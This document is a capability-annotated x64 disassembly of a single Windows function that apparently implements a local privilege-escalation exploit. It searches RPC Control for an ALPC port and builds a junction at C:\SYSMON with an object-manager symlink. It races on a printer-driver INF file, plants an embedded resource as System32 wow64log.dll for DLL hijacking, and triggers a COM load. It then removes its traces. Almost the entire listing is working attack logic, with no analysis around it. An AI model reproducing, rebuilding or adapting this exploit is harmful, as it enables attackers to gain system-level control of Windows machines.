Function at 0x140001070
Capabilities:
Create directory
Create thread
Delete file
Extract resource via kernel32 functions
Link many functions at runtime
Write file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x418]
sub rsp, 0x518
mov rax, qword [0x14001e018]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x14000111d
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x14001fe98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryDirectoryObject
mov rcx, rbx
mov qword [0x14001fe78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenDirectoryObject
mov rcx, rbx
mov qword [0x14001fea0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x14001fe90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001fe80], rax
jmp 0x140001124
mov rax, qword [0x14001fe80]
mov r8, qword [0x14001fe98]
test r8, r8
je 0x140001728
cmp qword [0x14001fe78], 0
je 0x140001728
cmp qword [0x14001fea0], 0
je 0x140001728
cmp qword [0x14001fe90], 0
je 0x140001728
test rax, rax
je 0x140001728
movups xmm0, xmmword [str.RPC_Control]
movzx eax, word [0x140019ac8]
lea rdx, [rbp + 0x1a8]
mov qword [rsp + 0x510], r13
lea rcx, [rbp + 0x1d0]
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rsp + 0x530], rsi
movsd xmm0, qword [0x140019ac0]
movsd qword [rbp + 0x1b8], xmm0
xorps xmm0, xmm0
mov qword [rsp + 0x538], rdi
mov qword [rsp + 0x508], r14
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rsp + 0x500], r15
mov word [rbp + 0x1c0], ax
call r8
xor r13d, r13d
mov dword [rbp + 0x170], 0x30
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x178], r13
xorps xmm0, xmm0
mov dword [rbp + 0x188], r13d
lea r8, [rbp + 0x170]
mov qword [rbp + 0x180], rax
lea edx, [r13 + 3]
lea rcx, [rbp + 0x160]
movdqu xmmword [rbp + 0x190], xmm0
call qword [0x14001fe90]
test eax, eax
jne 0x140001305
mov ecx, 0x186a0
call fcn.1400086e8
mov r14, rax
mov dword [rbp + 0x1a0], r13d
mov esi, r13d
mov bl, 1
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + 0x160]
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp + 0x1a0]
mov r8d, 0x186a0
mov qword [rsp + 0x28], rax
mov rdx, r14
mov byte [rsp + 0x20], bl
call qword [0x14001fea0]
test eax, eax
je 0x14000129a
cmp eax, 0x105
jne 0x140001250
mov esi, dword [rbp + 0x1a0]
xor bl, bl
jmp 0x140001250
mov ebx, r13d
cmp dword [rbp + 0x1a0], esi
je 0x1400012f8
nop word [rax + rax]
mov edi, ebx
lea rdx, str.ALPC_Port
shl rdi, 5
add rdi, r14
movzx r8d, word [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
shr r8, 1
call fcn.1400086bc
test eax, eax
jne 0x1400012ea
mov rcx, qword [rdi + 8]
lea rdx, str.syscliprpc
call fcn.140003c7c
test rax, rax
jne 0x14000134b
mov eax, dword [rbp + 0x1a0]
inc ebx
sub eax, esi
cmp ebx, eax
jb 0x1400012b0
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov r14, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x530]
mov rdi, qword [rsp + 0x538]
mov r15, qword [rsp + 0x500]
mov r13, qword [rsp + 0x510]
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140001e80
add rsp, 0x518
pop rbx
pop rbp
ret
mov r15, qword [rdi + 8]
test r15, r15
je 0x140001305
xor edx, edx
lea rcx, str.C:SYSMON
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140001305
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x6200000
lea rcx, str.C:SYSMON
mov edx, 0x10100
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x14001fe88], rax
cmp rax, 0xffffffffffffffff
je 0x140001305
lea r8, [rsp + 0x50]
mov qword [rsp + 0x540], r12
lea rdx, str.GlobalGLOBALROOTRPC_ControlCLIP_876BEE15B64B610D2505A44596ED92FBA9624DB923F9D608698BD8C8E64E4F1A
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov r12, qword [0x14001fe88]
mov r14d, 0x18
mov word [rsp + 0x40], r13w
cmp r12, 0xffffffffffffffff
je 0x1400014db
lea rax, [rsp + 0x40]
mov rsi, 0xffffffffffffffff
nop
inc rsi
cmp word [rax + rsi*2], r13w
jne 0x1400013f0
add rsi, rsi
lea rbx, [rsi + 0x24]
lea rcx, [rbx + 8]
call fcn.1400086e8
mov r14, rax
lea r8, [rsi + 2]
lea rdx, [rsp + 0x40]
mov dword [rax], 0xa0000003
mov word [rax + 4], bx
lea rcx, [r14 + 0x2a]
mov dword [rax + 6], r13d
mov eax, 0x18
mov word [r14 + 0xa], ax
movups xmm0, xmmword [str.RPC_Control]
movups xmmword [r14 + 0x10], xmm0
movsd xmm0, qword [0x140019ac0]
movsd qword [r14 + 0x20], xmm0
movzx eax, word [0x140019ac8]
mov word [r14 + 0x28], ax
mov eax, 0x1a
mov word [r14 + 0xc], ax
mov word [r14 + 0xe], si
call fcn.140007d10
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.1400040d0
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0x1cc]
mov qword [rsp + 0x30], rax
lea r9d, [rbx + 8]
mov dword [rsp + 0x28], r13d
mov r8, r14
mov edx, 0x900a4
mov qword [rsp + 0x20], r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400014cd
xor r9d, r9d
lea rdx, [rbp + 0x1e0]
mov r8d, 0x104
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
mov rcx, r14
call fcn.1400086a8
mov r14d, 0x18
mov rcx, r15
call fcn.140001730
mov r12, qword [rsp + 0x540]
nop dword [rax + rax]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rcx, str.C:WindowsSystem32DriverStoreFileRepositoryprnge001.inf_amd64_1daeee8f3aa30fcdprnge001.inf
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400014f0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9, r15
mov qword [rsp + 0x28], r13
lea r8, [fcn.140001730]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop word [rax + rax]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rcx, str.C:WindowsSystem32DriverStoreFileRepositoryprnge001.inf_amd64_1daeee8f3aa30fcdprnge001.inf
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140001550
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x140019ad0]
mov edx, 0x65
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
call fcn.140001800
test eax, eax
je 0x140001305
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rcx, str.C:windows_system32wow64log.dll
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015d0
xor r9d, r9d
mov qword [rsp + 0x20], r13
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
mov qword [rbp + 0x168], r13
lea rax, [rbp + 0x168]
lea r9, [0x14001b110]
mov qword [rsp + 0x20], rax
lea rcx, [0x14001b100]
lea r8d, [rdx + 4]
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea r8, [rsp + 0x50]
mov ecx, 0xf
lea rdx, str.GlobalGLOBALROOTRPC_ControlCLIP_876BEE15B64B610D2505A44596ED92FBA9624DB923F9D608698BD8C8E64E4F1A
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov rbx, qword [0x14001fe88]
xorps xmm0, xmm0
mov qword [rbp + 0x1bc], r13
mov dword [rbp + 0x1a8], 0xa0000003
mov dword [rbp + 0x1a0], r13d
movdqu xmmword [rbp + 0x1ac], xmm0
cmp rbx, 0xffffffffffffffff
je 0x140001710
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.1400040d0
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x1a8]
mov dword [rsp + 0x28], r13d
mov r9d, r14d
mov edx, 0x900ac
mov qword [rsp + 0x20], r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001710
xor r9d, r9d
lea rdx, [rbp + 0x1e0]
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
nop
lea rcx, str.C:windows_system32wow64log.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140001710
xor eax, eax
jmp 0x14000130a
xor ecx, ecx
call fcn.14000869c
int3